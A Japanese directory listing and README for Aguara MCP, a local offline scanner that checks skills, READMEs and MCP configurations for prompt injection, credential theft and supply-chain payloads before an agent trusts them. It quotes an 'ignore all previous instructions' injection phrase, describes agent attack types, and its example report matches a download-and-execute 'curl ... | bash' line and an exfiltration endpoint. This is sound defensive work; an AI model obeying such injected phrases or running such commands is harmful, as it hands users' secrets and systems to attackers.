mcpField
A
Aguara MCP

Aguara MCP

ローカル
github.com/garagonセキュリティ417 週間前に更新

Aguara MCP について

Aguara MCPは、AIエージェントが外部ツールを使う前にローカルで安全性を確認するサーバーです。スキル、README、MCP設定をプロセス内でスキャンし、LLM呼び出しやネットワーク接続は行いません。

主な機能

  1. 01プロンプトインジェクションや認証情報漏えいのスキャン
  2. 02MCP設定内のコマンドと環境変数の検査
  3. 03深刻度と修正案を含むレポート
  4. 04ルールカタログの閲覧とルールの説明
  5. 05ローカルのMCPクライアント設定の検出

活用シーン

  1. 01インストール前のスキルやプラグインREADMEの確認
  2. 02有効化前のMCP設定の検査
  3. 03エージェント指示ファイルのリスク確認
  4. 04セキュリティルールが検出された理由の確認

MCP 対応

MCPクライアントに、コンテンツスキャン、設定検査、ルール照会、ローカルサーバー検出のツールを公開します。スキャンはオフラインでプロセス内実行され、検出したコマンドの実行やサーバーへの接続は行いません。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

インストール方法は未掲載です

このサーバーのパッケージやリモートエンドポイントはまだ取得できていません。プロジェクトの README の手順に従ってください。

リポジトリ
パッケージ
mcpbaguara-mcp.mcpb

ツール

ツール一覧はまだ取得されていません

ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。

詳細

Aguara MCP

AI エージェントがサードパーティ製ツールを信頼する前に実行する、ローカルのセキュリティチェックです。

Aguara MCP は、Claude Code、Cursor、Windsurf、および MCP 互換のあらゆるエージェントに、信頼できないエージェントコンテンツを操作する前にレビューするためのローカルツールを提供します。

エージェントが MCP サーバーをインストールしたり、スキルを調査したり、プラグインの README を読んだり、ツール設定を読み込んだりする際に、まず Aguara を呼び出せます。スキャンは MCP サーバー内でローカルに実行され、検出結果、重大度、修正方法、該当したルールを含む構造化された判定を返します。

LLM の呼び出しはありません。ネットワークアクセスもありません。aguara バイナリのサブプロセスもありません。MCP サーバーは Aguara を Go ライブラリとしてインポートし、スキャナーをプロセス内で実行します。

エージェントが次のような質問に答えられるよう支援するためにお使いください。

  • この MCP 設定は認証情報を公開していますか?
  • このツールの説明にはプロンプトインジェクションが含まれていますか?
  • この README はエージェントに危険なインストールコマンドの実行を求めていますか?
  • このスキルはシークレットを読み取ったり、データを流出させたりしようとしていますか?
  • どのルールに該当しましたか?その理由は何ですか?

Aguara MCP v0.8.0 は、Aguara v0.27.0 に対応しています。最新の 250 件の検出カタログ、Claude Code プロジェクト設定に対するエージェント信頼ルール、信頼度の高いプロンプトサーフェスとしてのエージェント指示ファイル(.cursorrules、AGENTS.md)、npm インストール信頼ポリシーチェック(.npmrc、package.json の allowScripts)、pnpm サプライチェーン態勢チェック、機密度に基づく出力のマスキング、Unicode 正規化、コンテキストを考慮した誤検出の低減が含まれています。公式 MCP SDK(v1、Tier 1)を基盤に構築されています。

リポジトリ全体の依存関係チェック(npm、PyPI、pnpm、Go、crates.io、Composer、RubyGems、Maven、NuGet)は、引き続き Aguara CLI が担当します。

aguara check .
aguara audit . --ci

これらは、Aguara コアが安定した公開 Check API を提供するようになった時点で、今後のリリースに MCP ツールとして追加される予定です。CLI のインストール方法については、garagon/aguara をご覧ください。

問題

AI エージェントの自律性は高まりつつあります。レジストリを閲覧し、ツールを見つけ、MCP サーバーをインストールし、サードパーティのコードを実行します。その多くは、セキュリティレビューを受けないまま行われています。

これにより、新たな攻撃対象領域が生まれます。現在レジストリに公開されているスキルには、次のようなものが含まれている可能性があります。

  • プロンプトインジェクション:エージェントの動作を乗っ取ります(「以前の指示をすべて無視して……」)
  • 認証情報の窃取:エージェントの環境から API キー、トークン、シークレットを流出させます
  • リモートコード実行:インストールスクリプトに隠されています(curl | bash、シェルインジェクション)
  • データ流出:ユーザーデータを攻撃者が管理するエンドポイントに密かに送信します
  • サプライチェーン攻撃:依存関係の混同やタイポスクワッティングを利用します

エージェントには分かりません。有用なツールと悪意のあるツールを見分けられないのです。説明は普通に見えます。インストールは成功します。そして、被害が発生します。

Aguara MCP はこのギャップを埋めます。 開発者がコードをマージする前にリンターを実行するのと同じように、エージェントがツールとして相談できるセキュリティアドバイザーを提供します。ツール呼び出しは 1 回、数ミリ秒で、すべてローカルに実行されます。エージェントはまずチェックし、その後で判断します。

クイックスタート

curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh

コマンドは 1 つ、バイナリは 1 つ、外部依存関係はありません。インストーラーは展開前に SHA256 チェックサムを検証し、ホスト上で sha256 検証ツールを利用できない場合は安全側に倒して処理を中止します(検証を黙ってスキップすることはありません)。

インストール先ディレクトリ(~/.local/bin)が PATH に含まれていることを確認してください。バイナリには Aguara のルールカタログとアナライザーが静的にリンクされ、コンパイル済みの状態で含まれているため、すべての MCP スキャンは完全にオフラインで実行されます。Aguara コアの OSV 由来の脅威インテリジェンススナップショットは、このバイナリには含まれていません。MCP ではまだリポジトリ全体の依存関係チェックを公開していないためです。これらのチェックには Aguara CLI をお使いください(インストールと使用方法については、garagon/aguara をご覧ください)。

AI エージェントに追加する

Claude Code:

claude mcp add aguara -- aguara-mcp

Claude Desktop — claude_desktop_config.json に追加します。

{
  "mcpServers": {
    "aguara": {
      "command": "aguara-mcp"
    }
  }
}

Cursor / Windsurf / あらゆる MCP クライアント — aguara-mcp を使った stdio トランスポートを使用します。

これで、エージェントがセキュリティアドバイザーを利用できるようになります。

ツール

scan_content

テキストに対して、操作を行う前にセキュリティ上の脅威をスキャンします。エージェントスキル、README、ツール定義、MCP サーバーの説明、プロンプト、パッケージマニフェストの内容(package.json)、filename 引数に .github/workflows/ が含まれる場合の GitHub Actions ワークフロー YAML、filename が .claude/settings.json または .claude/settings.local.json の場合の Claude Code 設定、エージェント指示ファイル(.cursorrules、.windsurfrules、.clinerules、AGENTS.md、copilot-instructions.md)、filename が .npmrc または package.json の場合の npm インストール信頼ポリシー、filename が pnpm-workspace.yaml の場合の pnpm ポリシーに対応します。プロンプトインジェクション(パターン+NLP)、認証情報の漏えい、情報流出、コマンド実行、サプライチェーン関連パターン、MCP 攻撃、パッケージメタデータのリスク、JavaScript/Python/Rust のインストール時ペイロードの形状、GitHub Actions の信頼チェーン、リスクのあるエージェントホスト設定、弱体化した npm/pnpm サプライチェーン設定、Unicode/エンコーディングによる検知回避を検出します。機密性の高い検出結果はレスポンス内でマスキングされます。検出結果に Sensitive=true が設定されている場合(認証情報と情報流出の組み合わせ、機密情報を含むデータフローでの認証情報読み取り、MCP_007)、または credential-leak カテゴリーに該当する場合、matched_text は [REDACTED] に置き換えられ、スキャナーがシークレットのコピーを新たに作成することを防ぎます。tool_name によるコンテキスト対応の誤検知低減をサポートしています。

ParameterRequiredDescription
contentYesスキャンするテキスト内容
filenameNoルール照合用のファイル名ヒント(デフォルト:skill.md)
tool_nameNo内容を生成したツール(例:Bash、Edit、WebFetch)。コンテキスト対応の誤検知低減を有効にします
scan_profileNo適用プロファイル:strict(デフォルト。すべてのルール)、content-aware(既知のツールに対する誤検知を低減)、または minimal(フラグのみのモード)
min_severityNo報告する最低重大度:INFO、LOW、MEDIUM、HIGH、または CRITICAL
disabled_rulesNoスキップするルール ID のリスト(例:["PROMPT_INJECTION_001"])

判定結果(clean、flag、または block)、修正ガイダンス付きの重大度別検出結果、一致したパターン、行番号、信頼度スコア、各検出結果を生成した解析エンジンを含む、構造化レポートを返します。

check_mcp_config

クライアントに追加する前に、MCP サーバー設定(JSON)にセキュリティ上の問題がないか確認します。command/args 内の危険なコマンドの形状、env 内の認証情報の露出、安全でない引数のインジェクション、ツールポイズニングのパターンを検出します。有効化する前に、Claude Desktop、Cursor、VS Code、その他の MCP クライアントの mcpServers エントリーに対して使用してください。機密性の高い検出結果はレスポンス内でマスキングされます。

ParameterRequiredDescription
configYesJSON 文字列形式の MCP 設定
scan_profileNo適用プロファイル:strict(デフォルト)、content-aware、または minimal
min_severityNo報告する最低重大度:INFO、LOW、MEDIUM、HIGH、または CRITICAL
disabled_rulesNoスキップするルール ID のリスト
list_rules

カタログ化されたセキュリティルールを参照します。複数の脅威カテゴリーにわたる250件の検出ルール(YAML パターンルール193件+ci-trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm-policy、pnpm-policy、agent-policy、NLP、toxic-flow、rug-pull アナライザーが出力するルール57件)を返します。エージェントが Aguara で何を検出できるかを把握したり、カテゴリーで絞り込んだりする際に便利です。

ParameterRequiredDescription
categoryNoカテゴリーで絞り込みます(例:prompt-injection、exfiltration、credential-leak)
explain_rule

ID を指定してルールの詳細を取得します。YAML ルール(パターンと、真陽性・偽陽性の例を返します)と、ci-trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm-policy、pnpm-policy、agent-policy、NLP、toxic-flow、rug-pull が出力するアナライザーのルール ID の両方に対応します(重大度、カテゴリ、アナライザー名、説明、修正方法を返します。アナライザーのルールにはインラインパターンや例はありません)。

パラメーター必須説明
rule_idはいルール ID(例:PROMPT_INJECTION_001)
discover_mcp

既知の MCP クライアント設定ファイル(Claude Desktop、Cursor、VS Code、Windsurf など)を読み取り、ローカルマシン上の MCP サーバー設定を検出します。コマンド、引数、環境変数を含むサーバー定義を返します。読み取り専用:このツールは検出したコマンドを実行せず、サーバーにも接続しません。各定義に対して動作する前に評価するには、check_mcp_config と組み合わせてください。

パラメーターは不要です。

例

レジストリから MCP サーバーをインストールすべきか評価するエージェント:

User: "Install the data-processor MCP server"

Agent (before installing, calls scan_content with the skill README):

→ {
    "summary": "Found 2 issues: 1 critical, 1 high",
    "verdict": "block",
    "findings": [
      {
        "severity": "CRITICAL",
        "rule_id": "SUPPLY_003",
        "rule_name": "Download-and-execute",
        "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
        "line": 12,
        "matched_text": "curl https://cdn.example.com/setup.sh | bash",
        "analyzer": "pattern"
      },
      {
        "severity": "HIGH",
        "rule_id": "EXFIL_001",
        "rule_name": "Data exfiltration endpoint",
        "line": 34,
        "matched_text": "https://collect.example.com/data",
        "confidence": 0.92,
        "analyzer": "nlp"
      }
    ]
  }

Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."

Aguara MCP がなければ、エージェントは気付かれないままインストールしていたでしょう。

対応範囲

Aguara v0.27.0 のカタログには、12 のアナライザーにわたる 250 件の検出項目(YAML パターンルール 193 件+アナライザーが出力する項目 57 件)があります。

  • パターンマッチャー - プロンプトインジェクション、認証情報の漏えい、情報の持ち出し、コマンド実行、サプライチェーンパターン、MCP 攻撃、間接的なインジェクション、外部ダウンロード、SSRF/クラウド、サードパーティコンテンツ、Unicode 攻撃を対象とする正規表現/部分一致ルールです。Unicode による回避を防ぐため、スキャン前にコンテンツを NFKC 正規化します。
  • CI trust - .github/workflows/*.yml を YAML 対応で解析し、pwn-request チェーン、キャッシュポイズニング、OIDC トークンの攻撃対象領域、認証情報を保持する checkout パターンを検出します。filename 引数に .github/workflows/ が含まれている場合、MCP から利用できます。
  • PkgMeta - package.json を解析し、インストール時のライフサイクルスクリプトと、Git ソースの依存関係、オプションの Git 依存関係、公開範囲のチェーンとの組み合わせを検出します。
  • JSRisk - .js/.mjs/.cjs を解析し、難読化ツールの特徴的なペイロード、インストール時のデーモン化、CI シークレットの収集、ランナープロセスのメモリを利用するピボット、C2 チャネルとしての GitHub、ホスト信頼設定の改ざん、破壊的な消去、既知の IOC(例:2026 年 5 月の node-ipc による DNS-TXT 情報持ち出しチェーン)を検出します。
  • PyRisk - setup.py/__init__.py のフローを解析し、リモート JS の取得と node -e 実行シンクを関連付けます。
  • RSBuild - build.rs のフローを解析し、ウォレット/キーストアの読み取りとネットワーク送信シンクを関連付けます。
  • Npm policy - .npmrc と package.json(allowScripts ポリシー)を解析し、npm v12 のインストール信頼設定の弱体化を検出します。対象には dangerously-allow-all-scripts の回避手段、未固定の承認、allow-git/allow-remote の緩和が含まれます。filename 引数が .npmrc または package.json の場合、MCP から利用できます。
  • Pnpm policy - pnpm-workspace.yaml を解析し、サプライチェーン設定が pnpm v11 のデフォルトよりも弱められている状態を検出します。filename 引数が pnpm-workspace.yaml の場合、MCP から利用できます。
  • Agent policy - .claude/settings.json を解析し、クローンしたリポジトリから引き継ぐと危険な Claude Code のホスト設定(取得して実行するフック、コードインジェクションを引き起こす環境変数、bypassPermissions、MCP の自動承認、シークレット読み取りの許可ルール)を検出します。filename 引数が .claude/settings.json または .claude/settings.local.json の場合、MCP から利用できます。
  • NLP - Goldmark ベースで Markdown を解析し、静的パターンを回避するプロンプトインジェクション、権限の主張、認証情報の送信の組み合わせを検出します。エージェントの指示ファイル(.cursorrules、.windsurfrules、.clinerules、AGENTS.md、copilot-instructions.md)は、.md 拡張子がなくても解析され、信頼度の高いプロンプト面として重み付けされます。
  • Toxic flow - 危険な機能の組み合わせを検出する、単一ファイルの汚染追跡とファイル間の相関分析です。
  • Rug-pull - ツールの説明が時間の経過とともに変化したことを SHA256 で検出します(Aguara CLI で使用。現在、MCP ツールからは呼び出されません)。

正規のカテゴリ一覧とルール ID については、garagon/aguara を参照してください。

仕組み

Agent                  Aguara MCP
  │                          │
  ├─ scan_content(text) ────►│
  │                          ├─ aguara.ScanContent()
  │                          │  or ScanContentAs() with tool context
  │                          │  (in-process, no disk I/O)
  │                          │  250 detections · 11 active analyzers
  │                          │  (pattern + ci-trust + pkgmeta + jsrisk +
  │                          │   pyrisk + rsbuild + npm-policy +
  │                          │   pnpm-policy + agent-policy + NLP +
  │                          │   toxic-flow; rug-pull needs
  │                          │   WithStateDir, n/a here)
  │                          │  NFKC normalization · FP reduction
  │                          │  sensitive matches redacted
  │◄─ verdict + findings ────┤
  │                          │
  ├─ discover_mcp() ────────►│
  │                          ├─ aguara.Discover()
  │                          │  (reads local config files)
  │◄─ server definitions ────┤
  │                          │

Aguara MCP は、Aguara スキャナーを Go ライブラリとしてインポートします。サブプロセスや一時ファイル、外部バイナリは使用しません。スキャンエンジンはプロセス内で実行され、バージョンの整合性は go.sum によって保証されます。

MCP プロトコル層では、公式 Go SDK(Tier 1、Linux Foundation のガバナンス下、v1 セマンティックバージョニングによる安定性)を使用します。これにより、MCP 仕様の進化に伴うプロトコル準拠と長期的な互換性が確保されます。

ネットワークアクセスはありません。LLM 呼び出しはありません。クラウドへの依存はありません。すべてローカルで決定論的に実行されます。スキャンは数ミリ秒で完了します。

セキュリティ

脆弱性の開示ポリシーについては、SECURITY.md をご覧ください。

Aguara MCP 自体もセキュリティが強化されています。

  • サブプロセスを実行しません - Aguara はインプロセスの Go ライブラリとして動作するため、PATH の乗っ取りやバイナリの差し替えのリスクを排除できます
  • ネットワーク通信を行いません - MCP のスキャンはすべて完全にオフラインで実行されます。Aguara のルールカタログとアナライザーはビルド時にリンクされます。OSV 由来の脅威インテリジェンスのスナップショットは、MCP がリポジトリ全体の依存関係チェックを公開していないため、MCP バイナリには同梱されません(依存関係チェックには Aguara CLI を使用してください)
  • 入力の検証 - ルール ID は厳格な形式に照らして検証され、コンテンツのサイズは 10 MB に制限されます
  • ファイル名のサニタイズ - 許可リストにある文字のみを使用し、長さを制限してパストラバーサルを防ぎます。ci-trust アナライザーがワークフロー YAML にアクセスできるよう、正規の .github/workflows/<basename> プレフィックスは保持されます
  • 機密度に基づく出力の編集 - Aguara コアによって Sensitive=true とマークされた検出結果(認証情報とデータ流出の組み合わせ、有害なフローにおける認証情報の読み取り、MCP_007、MCPCFG_003)、または credential-leak カテゴリに属する検出結果は、MCP がレスポンスをシリアライズする前に matched_text が [REDACTED] に置き換えられます。MCP は Aguara によるインプレースのサニタイズに加えて、独自の防御策も維持します
  • 署名付きリリースパイプライン - リリースバイナリは SPDX SBOM を添付して Cosign で署名されます。マルチアーキテクチャの Docker イメージ ghcr.io/garagon/mcp-aguara は、ダイジェストに対して SLSA プロベナンスと SBOM アテステーションを付与して署名されます。VERSION=v0.8.0 .github/scripts/verify-release.sh で検証してください
  • バージョンの整合性 - Aguara スキャナーのバージョンは go.sum で固定され、ビルド時に検証されます

上級者向け

デバッグモード(スキャンの詳細を stderr に記録します):

claude mcp add aguara -- aguara-mcp --debug

ソースからビルドする:

git clone https://github.com/garagon/mcp-aguara.git
cd mcp-aguara
make build    # → ./aguara-mcp
make test     # runs all tests
Aguara を Go ライブラリとして使用する

Aguara MCP は Aguara のパブリック API を使用しています。独自のツールでも使用できます。

import "github.com/garagon/aguara"

// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
    aguara.WithMinSeverity(aguara.SeverityHigh),
    aguara.WithDisabledRules("CRED_001"),
)

// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
    aguara.WithScanProfile(aguara.ProfileContentAware),
)

rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()

API リファレンス全体については、Aguara のドキュメントをご覧ください。

ライセンス

MIT

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。